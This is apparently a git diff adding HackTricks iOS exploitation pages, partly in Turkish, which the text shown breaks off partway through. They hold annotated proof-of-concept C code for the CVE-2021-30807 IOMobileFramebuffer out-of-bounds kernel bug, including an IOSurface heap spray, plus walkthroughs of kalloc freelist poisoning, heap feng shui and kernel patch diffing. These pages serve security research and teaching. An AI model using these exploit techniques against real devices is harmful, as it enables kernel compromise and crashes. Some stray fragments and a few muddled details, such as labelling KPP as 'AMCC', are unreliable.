pointer read & type confusion** on that array. If the pointer isn't valid, the kernel deref panics → **DoS**. + +> [!NOTE] +> Bu, **iOS/iPadOS 14.7.1**, **macOS Big Sur 11.5.1**, **watchOS 7.6.1** sürümlerinde düzeltildi. + + +> [!WARNING] +> Çağrılması gereken ilk fonksiyon `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)` hakkı **`com.apple.private.allow-explicit-graphics-priority`** yetkisiyle korunur. Ancak, **WebKit.WebContent** bu yetkiye sahiptir, bu yüzden sandbox'lı bir süreçten zafiyeti tetiklemek için kullanılabilir. + +## DoS PoC + +Aşağıda, orijinal blog gönderisinden alınmış ilk DoS PoC'u ek açıklamalarla birlikte bulabilirsiniz: +```c +// PoC for CVE-2021-30807 trigger (annotated) +// NOTE: This demonstrates the crash trigger; it is NOT an LPE. +// Build/run only on devices you own and that are vulnerable. +// Patched in iOS/iPadOS 14.7.1, macOS 11.5.1, watchOS 7.6.1. (Apple advisory) +// https://support.apple.com/en-us/103144 +// https://nvd.nist.gov/vuln/detail/CVE-2021-30807 + +void trigger_clcd_vuln(void) { +kern_return_t ret; +io_connect_t shared_user_client_conn = MACH_PORT_NULL; + +// The "type" argument is the type (selector) of user client to open. +// For IOMobileFramebuffer, 2 typically maps to a user client that exposes the +// external methods we need (incl. selector 83). If this doesn't work on your +// build, try different types or query IORegistry to enumerate. +int type = 2; + +// 1) Locate the IOMobileFramebuffer service in the IORegistry. +// This returns the first matched service object (a kernel object handle). +io_service_t service = IOServiceGetMatchingService( +kIOMasterPortDefault, +IOServiceMatching("IOMobileFramebuffer")); + +if (service == MACH_PORT_NULL) { +printf("failed to open service\n"); +return; +} + +printf("service: 0x%x\n", service); + +// 2) Open a connection (user client) to the service. +// The user client is what exposes external methods to userland. +// 'type' selects which user client class/variant to instantiate. +ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn); +if (ret != KERN_SUCCESS) { +printf("failed to open userclient: %s\n", mach_error_string(ret)); +return; +} + +printf("client: 0x%x\n", shared_user_client_conn); + +printf("call externalMethod\n"); + +// 3) Prepare input scalars for the external method call. +// The vulnerable path uses a 32-bit scalar as an INDEX into an internal +// array of pointers WITHOUT bounds checking (OOB read / type confusion). +// We set it to a large value to force the out-of-bounds access. +uint64_t scalars[4] = { 0x0 }; +scalars[0] = 0x41414141; // **Attacker-controlled index** → OOB pointer lookup + +// 4) Prepare output buffers (the method returns a scalar, e.g. a surface ID). +uint64_t output_scalars[4] = { 0 }; +uint32_t output_scalars_size = 1; + +printf("call s_default_fb_surface\n"); + +// 5) Invoke external method #83. +// On vulnerable builds, this path ends up calling: +// IOMobileFramebufferUserClient::s_displayed_fb_surface(...) +// → IOMobileFramebufferLegacy::get_displayed_surface(...) +// which uses our index to read a pointer and then passes it as IOSurface*. +// If the pointer is bogus, IOSurface code will dereference it and the kernel +// will panic (DoS). +ret = IOConnectCallMethod( +shared_user_client_conn, +83, // **Selector 83**: vulnerable external method +scalars, 1, // input scalars (count = 1; the OOB index) +NULL, 0, // no input struct +output_scalars, &output_scalars_size, // optional outputs +NULL, NULL); // no output struct + +// 6) Check the call result. On many vulnerable targets, you'll see either +// KERN_SUCCESS right before a panic (because the deref happens deeper), +// or an error if the call path rejects the request (e.g., entitlement/type). +if (ret != KERN_SUCCESS) { +printf("failed to call external method: 0x%x --> %s\n", +ret, mach_error_string(ret)); +return; +} + +printf("external method returned KERN_SUCCESS\n"); + +// 7) Clean up the user client connection handle. +IOServiceClose(shared_user_client_conn); +printf("success!\n"); +} +``` +## Arbitrary Read PoC Explained + +1. **Opening the right user client** + +- `get_appleclcd_uc()` finds the **AppleCLCD** service and opens **user client type 2**. AppleCLCD and IOMobileFramebuffer share the same external-methods table; type 2 exposes **selector 83**, the vulnerable method. **This is your entry to the bug.** E_POC/) + +**Neden 83 önemli:** decompile edilmiş yol: + +- `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)`\ +→ `IOMobileFramebufferUserClient::get_displayed_surface(...)`\ +→ `IOMobileFramebufferLegacy::get_displayed_surface(...)`\ +Son çağrının içinde, kod **32-bit scalar'ınızı bounds kontrolü olmadan dizi indeksi olarak kullanıyor**, **`this + 0xA58 + index*8`** adresinden bir pointer alıyor ve bunu `IOSurface*` olarak `IOSurfaceRoot::copyPortNameForSurfaceInTask(...)` fonksiyonuna geçiriyor. **İşte OOB + type confusion.** + +2. **The heap spray (why IOSurface shows up here)** + +- `do_spray()` **`IOSurfaceRootUserClient`** kullanarak **birçok IOSurface oluşturur** ve küçük değerleri (`s_set_value` tarzı) **spray** eder. Bu, kernel heap'lerini **geçerli IOSurface nesnelerine işaret eden pointerlarla** doldurur. + +- **Amaç:** selector 83 meşru tablonun dışını okuduğunda, **OOB slot muhtemelen sizin (gerçek) IOSurface'lerinizden birine işaret eden bir pointer içerir**—böylece sonraki dereference **çakmaz** ve **başarılı olur**. IOSurface, klasik ve iyi belgelenmiş bir kernel spray primitifi olup, Saar'ın yazısında bu exploitation akışı için kullanılan **create / set_value / lookup** metodları açıkça listelenmiştir. + +3. **The "offset/8" trick (what that index really is)** + +- `trigger_oob(offset)` içinde `scalars[0] = offset / 8` ayarlıyorsunuz. + +- **Neden 8'e bölünüyor?** Kernel hangi **pointer-sized slot**'un okunacağını hesaplamak için **`base + index*8`** yapıyor. Siz bir **"slot numarası N"** seçiyorsunuz, byte offset değil. 64-bit'te her slot **sekiz byte**. + +- Hesaplanan adres **`this + 0xA58 + index*8`** oluyor. PoC, çok büyük bir sabit (`0x1200000 + 0x1048`) kullanarak **çok dışa** adım atıp, IOSurface pointer'larıyla **yoğun şekilde doldurmaya çalıştığınız** bir bölgeye erişmeye çalışıyor. **Eğer spray "kazanan" olursa, vurduğunuz slot geçerli bir `IOSurface*` olur.** + +4. **What selector 83 returns (this is the subtle part)** + +- Çağrı: + +`IOConnectCallMethod(appleclcd_uc, 83, scalars, 1, NULL, 0, +output_scalars, &output_scalars_size, NULL, NULL);`o + +- İçeride, OOB pointer alımından sonra sürücü\ +**`IOSurfaceRoot::copyPortNameForSurfaceInTask(task, IOSurface*, out_u32*)`** çağrısını yapıyor. + +- **Sonuç:** **`output_scalars[0]`**, OOB ile sağladığınız nesne pointer'ı için task'ınızdaki bir **Mach port name (u32 handle)** olur. **Bu ham bir kernel address leak değildir; userspace'te bir handle'dır (send right).** Saar'ın decompilation'ı bu davranışı (bir *port name* kopyalamayı) açıkça gösteriyor. + +**Neden bu işe yarar:** (sözde) IOSurface'a ait bir **port name** ile artık şu tür **IOSurfaceRoot** metodlarını kullanabilirsiniz: + +- **`s_lookup_surface_from_port` (method 34)** → portu, IOSurface çağrılarıyla işletebileceğiniz bir **surface ID**'ye çevirir, ve + +- **`s_create_port_from_surface` (method 35)** tersini yapmanız gerekirse.\ +Saar tam da bu metodları bir sonraki adım olarak belirtiyor. **PoC, bir OOB slot'tan "meşru" bir IOSurface handle'ı "ürettiğinizi" kanıtlıyor.** [Saaramar](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/?utm_source=chatgpt.com) + +This [PoC was taken from here](https://github.com/saaramar/IOMobileFrameBuffer_LPE_POC/blob/main/poc/exploit.c) and added some comments to explain the steps: +```c +#include "exploit.h" + +// Open the AppleCLCD (aka IOMFB) user client so we can call external methods. +io_connect_t get_appleclcd_uc(void) { +kern_return_t ret; +io_connect_t shared_user_client_conn = MACH_PORT_NULL; +int type = 2; // **UserClient type**: variant that exposes selector 83 on affected builds. ⭐ +// (AppleCLCD and IOMobileFramebuffer share the same external methods table.) + +// Find the **AppleCLCD** service in the IORegistry. +io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, +IOServiceMatching("AppleCLCD")); +if(service == MACH_PORT_NULL) { +printf("[-] failed to open service\n"); +return MACH_PORT_NULL; +} +printf("[*] AppleCLCD service: 0x%x\n", service); + +// Open a user client connection to AppleCLCD with the chosen **type**. +ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn); +if(ret != KERN_SUCCESS) { +printf("[-] failed to open userclient: %s\n", mach_error_string(ret)); +return MACH_PORT_NULL; +} +printf("[*] AppleCLCD userclient: 0x%x\n", shared_user_client_conn); +return shared_user_client_conn; +} + +// Trigger the OOB index path of external method #83. +// The 'offset' you pass is in bytes; dividing by 8 converts it to the +// index of an 8-byte pointer slot in the internal table at (this + 0xA58). +uint64_t trigger_oob(uint64_t offset) { +kern_return_t ret; + +// The method takes a single 32-bit scalar that it uses as an index. +uint64_t scalars[1] = { 0x0 }; +scalars[0] = offset / 8; // **index = byteOffset / sizeof(void*)**. ⭐ + +// #83 returns one scalar. In this flow it will be the Mach port name +// (a u32 handle in our task), not a kernel pointer. +uint64_t output_scalars[1] = { 0 }; +uint32_t output_scalars_size = 1; + +io_connect_t appleclcd_uc = get_appleclcd_uc(); +if (appleclcd_uc == MACH_PORT_NULL) { +return 0; +} + +// Call external method 83. Internally: +// ptr = *(this + 0xA58 + index*8); // OOB pointer fetch +// IOSurfaceRoot::copyPortNameForSurfaceInTask(task, (IOSurface*)ptr, &out) +// which creates a send right for that object and writes its port name +// into output_scalars[0]. If ptr is junk → deref/panic (DoS). +ret = IOConnectCallMethod(appleclcd_uc, 83, +scalars, 1, +NULL, 0, +output_scalars, &output_scalars_size, +NULL, NULL); + +if (ret != KERN_SUCCESS) { +printf("[-] external method 83 failed: %s\n", mach_error_string(ret)); +return 0; +} + +// This is the key: you get back a Mach port name (u32) to whatever +// object was at that OOB slot (ideally an IOSurface you sprayed). +printf("[*] external method 83 returned: 0x%llx\n", output_scalars[0]); +return output_scalars[0]; +} + +// Heap-shape with IOSurfaces so an OOB slot likely contains a pointer to a +// real IOSurface (easier & stabler than a fully fake object). +bool do_spray(void) { +char data[0x10]; +memset(data, 0x41, sizeof(data)); // Tiny payload for value spraying. + +// Get IOSurfaceRootUserClient (reachable from sandbox/WebContent). +io_connect_t iosurface_uc = get_iosurface_root_uc(); +if (iosurface_uc == MACH_PORT_NULL) { +printf("[-] do_spray: failed to allocate new iosurface_uc\n"); +return false; +} + +// Create many IOSurfaces and use set_value / value spray helpers +// (Brandon Azad-style) to fan out allocations in kalloc. ⭐ +int *surface_ids = (int*)malloc(SURFACES_COUNT * sizeof(int)); +for (size_t i = 0; i < SURFACES_COUNT; ++i) { +surface_ids[i] = create_surface(iosurface_uc); // s_create_surface +if (surface_ids[i] <= 0) { +return false; +} + +// Spray small values repeatedly: tends to allocate/fill predictable +// kalloc regions near where the IOMFB table OOB will read from. +// The “with_gc” flavor forces periodic GC to keep memory moving/packed. +if (IOSurface_spray_with_gc(iosurface_uc, surface_ids[i], +20, 200, // rounds, per-round items +data, sizeof(data), +NULL) == false) { +printf("iosurface spray failed\n"); +return false; +} +} +return true; +} + +int main(void) { +// Ensure we can talk to IOSurfaceRoot (some helpers depend on it). +io_connect_t iosurface_uc = get_iosurface_root_uc(); +if (iosurface_uc == MACH_PORT_NULL) { +return 0; +} + +printf("[*] do spray\n"); +if (do_spray() == false) { +printf("[-] shape failed, abort\n"); +return 1; +} +printf("[*] spray success\n"); + +// Trigger the OOB read. The magic constant chooses a pointer-slot +// far beyond the legit array (offset is in bytes; index = offset/8). +// If the spray worked, this returns a **Mach port name** (handle) to one +// of your sprayed IOSurfaces; otherwise it may crash. +printf("[*] trigger\n"); +trigger_oob(0x1200000 + 0x1048); +return 0; +} +``` +## Referanslar +- [Saar Amar tarafından yazılan orijinal yazı](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/) +- [Exploit PoC code](https://github.com/saaramar/IOMobileFrameBuffer_LPE_POC) +- [jsherman212 tarafından yapılan araştırma](https://jsherman212.github.io/2021/11/28/popping_ios14_with_iomfb.html?utm_source=chatgpt.com) + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting/README.md b/src/binary-exploitation/ios-exploiting/README.md new file mode 100644 index 000000000..ba8408b8b --- /dev/null +++ b/src/binary-exploitation/ios-exploiting/README.md @@ -0,0 +1,258 @@ +# iOS Exploiting + +{{#include ../../banners/hacktricks-training.md}} + +## iOS Exploit Mitigations + +- **Code Signing** in iOS works by requiring every piece of executable code (apps, libraries, extensions, etc.) to be cryptographically signed with a certificate issued by Apple. When code is loaded, iOS verifies the digital signature against Apple’s trusted root. If the signature is invalid, missing, or modified, the OS refuses to run it. This prevents attackers from injecting malicious code into legitimate apps or running unsigned binaries, effectively stopping most exploit chains that rely on executing arbitrary or tampered code. +- **CoreTrust** is the iOS subsystem responsible for enforcing code signing at runtime. It directly verifies signatures using Apple’s root certificate without relying on cached trust stores, meaning only binaries signed by Apple (or with valid entitlements) can execute. CoreTrust ensures that even if an attacker tampers with an app after installation, modifies system libraries, or tries to load unsigned code, the system will block execution unless the code is still properly signed. This strict enforcement closes many post-exploitation vectors that older iOS versions allowed through weaker or bypassable signature checks. +- **Data Execution Prevention (DEP)** marks memory regions as non-executable unless they explicitly contain code. This stops attackers from injecting shellcode into data regions (like the stack or heap) and running it, forcing them to rely on more complex techniques like ROP (Return-Oriented Programming). +- **ASLR (Address Space Layout Randomization)** randomizes the memory addresses of code, libraries, stack, and heap every time the system runs. This makes it much harder for attackers to predict where useful instructions or gadgets are, breaking many exploit chains that depend on fixed memory layouts. +- **KASLR (Kernel ASLR)** applies the same randomization concept to the iOS kernel. By shuffling the kernel’s base address at each boot, it prevents attackers from reliably locating kernel functions or structures, raising the difficulty of kernel-level exploits that would otherwise gain full system control. +- **Kernel Patch Protection (KPP)** also known as **AMCC (Apple Mobile File Integrity)** in iOS, continuously monitors the kernel’s code pages to ensure they haven’t been modified. If any tampering is detected—such as an exploit trying to patch kernel functions or insert malicious code—the device will immediately panic and reboot. This protection makes persistent kernel exploits far harder, as attackers can’t simply hook or patch kernel instructions without triggering a system crash. +- **Kernel Text Readonly Region (KTRR)** is a hardware-based security feature introduced on iOS devices. It uses the CPU’s memory controller to mark the kernel’s code (text) section as permanently read-only after boot. Once locked, even the kernel itself cannot modify this memory region. This prevents attackers—and even privileged code—from patching kernel instructions at runtime, closing off a major class of exploits that relied on modifying kernel code directly. +- **Pointer Authentication Codes (PAC)** use cryptographic signatures embedded into unused bits of pointers to verify their integrity before use. When a pointer (like a return address or function pointer) is created, the CPU signs it with a secret key; before dereferencing, the CPU checks the signature. If the pointer was tampered with, the check fails and execution stops. This prevents attackers from forging or reusing corrupted pointers in memory corruption exploits, making techniques like ROP or JOP much harder to pull off reliably. +- **Privilege Access never (PAN)** is a hardware feature that prevents the kernel (privileged mode) from directly accessing user-space memory unless it explicitly enables access. This stops attackers who gained kernel code execution from easily reading or writing user memory to escalate exploits or steal sensitive data. By enforcing strict separation, PAN reduces the impact of kernel exploits and blocks many common privilege-escalation techniques. +- **Page Protection Layer (PPL)** is an iOS security mechanism that protects critical kernel-managed memory regions, especially those related to code signing and entitlements. It enforces strict write protections using the MMU (Memory Management Unit) and additional checks, ensuring that even privileged kernel code cannot arbitrarily modify sensitive pages. This prevents attackers who gain kernel-level execution from tampering with security-critical structures, making persistence and code-signing bypasses significantly harder. + +## Old Kernel Heap (Pre-iOS 15 / Pre-A12 era) + +The kernel used a **zone allocator** (`kalloc`) divided into fixed-size "zones." +Each zone only stores allocations of a single size class. + +From the screenshot: + +| Zone Name | Element Size | Example Use | +|----------------------|--------------|-----------------------------------------------------------------------------| +| `default.kalloc.16` | 16 bytes | Very small kernel structs, pointers. | +| `default.kalloc.32` | 32 bytes | Small structs, object headers. | +| `default.kalloc.64` | 64 bytes | IPC messages, tiny kernel buffers. | +| `default.kalloc.128` | 128 bytes | Medium objects like parts of `OSObject`. | +| `default.kalloc.256` | 256 bytes | Larger IPC messages, arrays, device structures. | +| … | … | … | +| `default.kalloc.1280`| 1280 bytes | Large structures, IOSurface/graphics metadata. | + +**How it worked:** +- Each allocation request gets **rounded up** to the nearest zone size. +(E.g., a 50-byte request lands in the `kalloc.64` zone). +- Memory in each zone was kept in a **free list** — chunks freed by the kernel went back into that zone. +- If you overflowed a 64-byte buffer, you’d overwrite the **next object in the same zone**. + +This is why **heap spraying / feng shui** was so effective: you could predict object neighbors by spraying allocations of the same size class. + +### The freelist + +Inside each kalloc zone, freed objects weren’t returned directly to the system — they went into a freelist, a linked list of available chunks. + +- When a chunk was freed, the kernel wrote a pointer at the start of that chunk → the address of the next free chunk in the same zone. + +- The zone kept a HEAD pointer to the first free chunk. + +- Allocation always used the current HEAD: + +1. Pop HEAD (return that memory to the caller). + +2. Update HEAD = HEAD->next (stored in the freed chunk’s header). + +- Freeing pushed chunks back: + +- `freed_chunk->next = HEAD` + +- `HEAD = freed_chunk` + +So the freelist was just a linked list built inside the freed memory itself. + +Normal state: +``` +Zone page (64-byte chunks for example): +[ A ] [ F ] [ F ] [ A ] [ F ] [ A ] [ F ] + +Freelist view: +HEAD ──► [ F ] ──► [ F ] ──► [ F ] ──► [ F ] ──► NULL +(next ptrs stored at start of freed chunks) +``` +### Exploiting the freelist + +Çünkü bir free chunk'ın ilk 8 baytı = freelist pointer olduğundan, bir saldırgan bunu bozabilir: + +1. **Heap overflow** ile bitişik freed chunk'a taşma → onun “next” pointer'ını üzerine yazma. + +2. **Use-after-free** ile freed object içine yazma → onun “next” pointer'ını üzerine yazma. + +Then, on the next allocation of that size: + +- Allocator bozuk chunk'ı poplar. + +- Saldırgan tarafından sağlanan “next” pointer'ı takip eder. + +- Rastgele belleğe bir pointer döndürür, fake object primitives veya hedefli overwrite'e izin verir. + +Visual example of freelist poisoning: +``` +Before corruption: +HEAD ──► [ F1 ] ──► [ F2 ] ──► [ F3 ] ──► NULL + +After attacker overwrite of F1->next: +HEAD ──► [ F1 ] +(next) ──► 0xDEAD_BEEF_CAFE_BABE (attacker-chosen) + +Next alloc of this zone → kernel hands out memory at attacker-controlled address. +``` +This freelist tasarımı, hardening öncesinde exploitleri çok etkili hale getiriyordu: heap sprays'ten gelen tahmin edilebilir komşular, raw pointer freelist bağlantıları ve tür ayrımının olmaması, saldırganların UAF/overflow hatalarını rastgele kernel belleği kontrolüne yükseltmesine izin veriyordu. + +### Heap Grooming / Feng Shui +The goal of heap grooming is to **heap yerleşimini şekillendirmek** so that when an attacker triggers an overflow or use-after-free, the target (victim) object sits right next to an attacker-controlled object.\ +Böylece bellek bozulması gerçekleştiğinde, saldırgan kurban objeyi kontrollü verilerle güvenilir şekilde ezebilir. + +**Adımlar:** + +1. Spray allocations (fill the holes) +- Zamanla kernel heap fragmentasyona uğrar: bazı zonlarda eski nesnelerin free edildiği boşluklar oluşur. +- Saldırgan ilk olarak bu boşlukları doldurmak için çok sayıda dummy allocation yapar, böylece heap “packed” ve daha öngörülebilir hale gelir. + +2. Force new pages +- Boşluklar doldurulduktan sonra, bir sonraki allocation zone'a eklenen yeni sayfalardan gelmek zorunda kalır. +- Yeni sayfalar, nesnelerin eski parçalanmış bellek boyunca dağılmayıp bir arada kümeleşmesini sağlar. +- Bu, saldırganın komşular üzerinde çok daha iyi kontrol elde etmesini sağlar. + +3. Place attacker objects +- Saldırgan şimdi tekrar spray yapar ve bu yeni sayfalarda çok sayıda attacker-controlled obje oluşturur. +- Bu objeler boyut ve yerleşim açısından öngörülebilirdir (çünkü hepsi aynı zone'a aittir). + +4. Free a controlled object (make a gap) +- Saldırgan kasten kendi objelerinden birini free eder. +- Bu, allocator'ın daha sonra aynı boyuttaki bir sonraki allocation için yeniden kullanacağı heap'te bir “delik” oluşturur. + +5. Victim object lands in the hole +- Saldırgan, kernel'in hedef (victim) objeyi allocate etmesini tetikler. +- Delik freelist'teki ilk uygun slot olduğundan, victim tam olarak saldırganın free ettiği yerde konumlanır. + +6. Overflow / UAF into victim +- Artık saldırganın kontrollü objeleri victim çevresindedir. +- Kendi objelerinden birinden overflow yaparak (veya freed objeyi tekrar kullanarak) victim’in bellek alanlarını seçilen değerlerle güvenilir şekilde overwrite edebilir. + +**Neden çalışır**: + +- Zone allocator predictability: aynı boyuttaki allocationlar her zaman aynı zon'dan gelir. +- Freelist behavior: yeni allocationlar en son free edilmiş chunk'ı önce yeniden kullanır. +- Heap sprays: saldırgan bellek içeriklerini öngörülebilir şekilde doldurur ve yerleşimi kontrol eder. +- Sonuç: saldırgan victim objenin nereye yerleşeceğini ve yanında hangi verilerin olacağını kontrol eder. + +--- + +## Modern Kernel Heap (iOS 15+/A12+ SoCs) + +Apple allocator'ı sertleştirdi ve **heap grooming'i çok daha zorlaştırdı**: + +### 1. From Classic kalloc to kalloc_type +- **Before**: her boyut sınıfı için (16, 32, 64, … 1280, vb.) tek bir `kalloc.` zone vardı. O boyuttaki herhangi bir obje oraya yerleştirilirdi → saldırgan objeleri ayrıcalıklı kernel objelerinin yanına yerleşebilirdi. +- **Now**: +- Kernel objeleri **typed zones** (`kalloc_type`) üzerinden allocate ediliyor. +- Her obje tipi (ör. `ipc_port_t`, `task_t`, `OSString`, `OSData`) kendi adanmış zone'una sahip; aynı boyutta olsalar bile ayrılıyorlar. +- Obje tipi ↔ zone eşlemesi derleme zamanında **kalloc_type system** tarafından üretilir. + +Artık saldırgan kontrollü verinin (`OSData`) aynı boyuttaki hassas kernel objelerinin (`task_t`) yanında olacağını garanti edemez. + +### 2. Slabs and Per-CPU Caches +- Heap, her zone için sabit boyutlu chunk'lara ayrılmış bellek sayfaları olan **slab**'lara bölünmüştür. +- Her zone'un contenstion'u azaltmak için bir **per-CPU cache**'i vardır. +- Allocation yolu: +1. Per-CPU cache denenir. +2. Boşsa, global freelist'ten çekilir. +3. Freelist boşsa, yeni bir slab (bir veya daha fazla sayfa) allocate edilir. +- **Fayda**: Bu desantralizasyon, allocationların farklı CPU cache'lerinden karşılanabilmesi nedeniyle heap sprays'i daha az deterministik yapar. + +### 3. Randomization inside zones +- Bir zone içinde, free edilmiş elemanlar basit FIFO/LIFO sırasıyla geri verilmez. +- Modern XNU **encoded freelist pointers** (Linux tarzı safe-linking gibi, ~iOS 14'te tanıtıldı) kullanır. +- Her freelist pointer, bir zone-a özgü gizli cookie ile **XOR-encoded** edilir. +- Bu, bir write primitive elde edilse bile saldırganların sahte bir freelist pointer üretmesini engeller. +- Bazı allocationlar slab içinde **yerleştirme açısından randomize edilir**, bu yüzden spraying komşuluk garanti etmez. + +### 4. Guarded Allocations +- Bazı kritik kernel objeleri (ör. credentials, task yapıları) **guarded zones** içinde allocate edilir. +- Bu zonlar slab'lar arasında **guard pages** (unmapped memory) ekler veya objelerin etrafında **redzones** kullanır. +- Guard page'e yapılan herhangi bir overflow fault tetikler → sessiz corruption yerine anında panic oluşur. + +### 5. Page Protection Layer (PPL) and SPTM +- Freed bir objeyi kontrol ediyor olsanız bile tüm kernel belleğini değiştiremezsiniz: +- **PPL (Page Protection Layer)**, belirli bölgelerin (ör. code signing verileri, entitlements) kernel'in kendisi için bile **sadece okunur** olmasını zorunlu kılar. +- **A15/M2+** cihazlarda bu rol **SPTM (Secure Page Table Monitor)** + **TXM (Trusted Execution Monitor)** ile yerini alır veya güçlendirilir. +- Bu donanım tarafından zorlanan katmanlar, saldırganların tek bir heap bozulmasından kritik güvenlik yapılarında keyfi patch yapmasına engel olur. + +### 6. Large Allocations +- Her allocation `kalloc_type` üzerinden gitmez. +- Çok büyük istekler (~16KB üzeri) typed zone'lardan atlanır ve doğrudan **kernel VM (kmem)** üzerinden page allocation ile servis edilir. +- Bunlar daha az öngörülebilir, ancak slab paylaşmadıkları için aynı zamanda daha az exploitable olurlar. + +### 7. Allocation Patterns Attackers Target +Bunlara rağmen saldırganlar hâlâ şunları hedefler: +- **Reference count objects**: retain/release sayacıyla oynayabilirseniz use-after-free oluşmasına sebep olabilirsiniz. +- **Objects with function pointers (vtables)**: bunları bozmak yine kontrol akışı sağlar. +- **Shared memory objects (IOSurface, Mach ports)**: user ↔ kernel köprüsü oluşturdukları için hâlâ hedeflenirler. + +Ama — eskisi gibi — sadece `OSData` spray yapıp bir `task_t` ile komşu olmasını bekleyemezsiniz. Başarılı olmak için **type-specific bugs** veya **info leaks** gerekir. + +### Example: Allocation Flow in Modern Heap + +Varsayalım userspace IOKit üzerinden bir `OSData` objesi allocate ediyor: + +1. **Type lookup** → `OSData` `kalloc_type_osdata` zone'una (boyut 64 byte) eşlenir. +2. Per-CPU cache'de boş eleman kontrol edilir. +- Bulunursa → bir tane return edilir. +- Boşsa → global freelist'e bakılır. +- Freelist boşsa → yeni bir slab allocate edilir (4KB page → 64 adet 64 byte chunk). +3. Chunk caller'a return edilir. + +**Freelist pointer protection**: +- Her free edilmiş chunk, bir sonraki free chunk'ın adresini saklar, fakat bu adres gizli bir anahtarla encoded edilmiştir. +- Bu alanı saldırgan verisiyle overwrite etmek, anahtarı bilmeden işe yaramaz. + +## Comparison Table + +| Feature | **Old Heap (Pre-iOS 15)** | **Modern Heap (iOS 15+ / A12+)** | +|---------------------------------|------------------------------------------------------------|--------------------------------------------------| +| Allocation granularity | Fixed size buckets (`kalloc.16`, `kalloc.32`, etc.) | Size + **type-based buckets** (`kalloc_type`) | +| Placement predictability | High (same-size objects side by side) | Low (same-type grouping + randomness) | +| Freelist management | Raw pointers in freed chunks (easy to corrupt) | **Encoded pointers** (safe-linking style) | +| Adjacent object control | Easy via sprays/frees (feng shui predictable) | Hard — typed zones separate attacker objects | +| Kernel data/code protections | Few hardware protections | **PPL / SPTM** protect page tables & code pages | +| Exploit reliability | High with heap sprays | Much lower, requires logic bugs or info leaks | + +## (Old) Physical Use-After-Free via IOSurface + +{{#ref}} +ios-physical-uaf-iosurface.md +{{#endref}} + +--- + +## Ghidra Install BinDiff + +BinDiff DMG'yi [https://www.zynamics.com/bindiff/manual](https://www.zynamics.com/bindiff/manual) adresinden indirip kurun. + +Ghidra'yı `ghidraRun` ile açın ve `File` --> `Install Extensions`'a gidin, add düğmesine basın ve yolu `/Applications/BinDiff/Extra/Ghidra/BinExport` olarak seçin, ardından OK tuşuna basın ve versiyon uyuşmazlığı olsa bile install edin. + +### Using BinDiff with Kernel versions + +1. [https://ipsw.me/](https://ipsw.me/) sayfasına gidip diff'lemek istediğiniz iOS sürümlerini indirin. Bunlar `.ipsw` dosyaları olacaktır. +2. Her iki `.ipsw` dosyasının kernelcache'inin bin formatını elde edene kadar dekompresyon yapın. Bunu nasıl yapacağınıza dair bilgi için: + +{{#ref}} +../../macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md +{{#endref}} + +3. `ghidraRun` ile Ghidra'yı açın, yeni bir proje oluşturun ve kernelcache'leri yükleyin. +4. Her kernelcache'i açın ki Ghidra otomatik analiz yapsın. +5. Ardından Project Window'da her kernelcache üzerine sağ tıklayın, `Export` seçin, format olarak `Binary BinExport (v2) for BinDiff` seçin ve export edin. +6. BinDiff'i açın, yeni bir workspace oluşturun ve primary file olarak vulnerability içeren kernelcache'i, secondary file olarak patched kernelcache'i göstererek yeni bir diff ekleyin. + +--- + +## Finding the right XNU version + +Belirli bir iOS sürümündeki zafiyetleri kontrol etmek istiyorsanız, o iOS sürümünün hangi XNU release versiyonunu kullandığını şu adresten kontrol edebilirsiniz: [https://www.theiphonewiki.com/wiki/kernel]https://www.theiphonewiki.com/wiki/kernel). + +Örneğin, `15.1 RC`, `15.1` ve `15.1.1` sürümleri `Darwin Kernel Version 21.1.0: Wed Oct 13 19:14:48 PDT 2021; root:xnu-8019.43.1~1/RELEASE_ARM64_T8006` versiyonunu kullanır. + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting/ios-corellium.md b/src/binary-exploitation/ios-exploiting/ios-corellium.md new file mode 100644 index 000000000..982a75bf3 --- /dev/null +++ b/src/binary-exploitation/ios-exploiting/ios-corellium.md @@ -0,0 +1,79 @@ +# iOS Corellium'e Nasıl Bağlanılır + +{{#include ../../banners/hacktricks-training.md}} + +## **Gereksinimler** +- Bir Corellium iOS VM (jailbroken veya değil). +- Lokal araçlar: **ssh/scp**. +- (İsteğe bağlı) parola gerektirmeyen girişler için Corellium projenize **SSH keys** eklenmiş olsun. + + +## **localhost üzerinden iPhone VM'ye bağlanma** + +### A) **Quick Connect (no VPN)** +0) **`/admin/projects`** içine ssh key'inizi ekleyin (önerilir). +1) Cihaz sayfasını açın → **Connect** +2) Corellium tarafından gösterilen **Quick Connect SSH command**'ı kopyalayın ve terminalinize yapıştırın. +3) Parolayı girin veya key'inizi kullanın (önerilir). + +### B) **VPN → doğrudan SSH** +0) **`/admin/projects`** içine ssh key'inizi ekleyin (önerilir). +1) Cihaz sayfası → **CONNECT** → **VPN** → `.ovpn` dosyasını indirip TAP modunu destekleyen herhangi bir VPN istemcisi ile bağlanın. (Sorun yaşarsanız [https://support.corellium.com/features/connect/vpn](https://support.corellium.com/features/connect/vpn) adresini kontrol edin.) +2) VM'nin **10.11.x.x** adresine SSH ile bağlanın: +```bash +ssh root@10.11.1.1 +``` +## **Yerel binary yükle & çalıştır** + +### 2.1 **Yükleme** +- Eğer Quick Connect size bir host/port verdiyse: +```bash +scp -J ./mytool root@10.11.1.1:/var/root/mytool +``` +- Eğer VPN kullanıyorsanız (10.11.x.x): +```bash +scp ./mytool -J root@10.11.1.1:/var/root/mytool +``` +## **iOS uygulamasını (.ipa) yükleme ve kurma** + +### Yol A — **Web UI (en hızlı)** +1) Cihaz sayfası → **Apps** sekmesi → **Install App** → `.ipa` dosyanızı seçin. +2) Aynı sekmeden **launch/kill/uninstall** yapabilirsiniz. + +### Yol B — **Corellium Agent aracılığıyla betiklenmiş** +1) API Agent'ı kullanarak önce **upload**, sonra **install**: +```js +// Node.js (pseudo) using Corellium Agent +await agent.upload("./app.ipa", "/var/tmp/app.ipa"); +await agent.install("/var/tmp/app.ipa", (progress, status) => { +console.log(progress, status); +}); +``` +### Path C — **Jailbreaksiz (doğru imzalama / 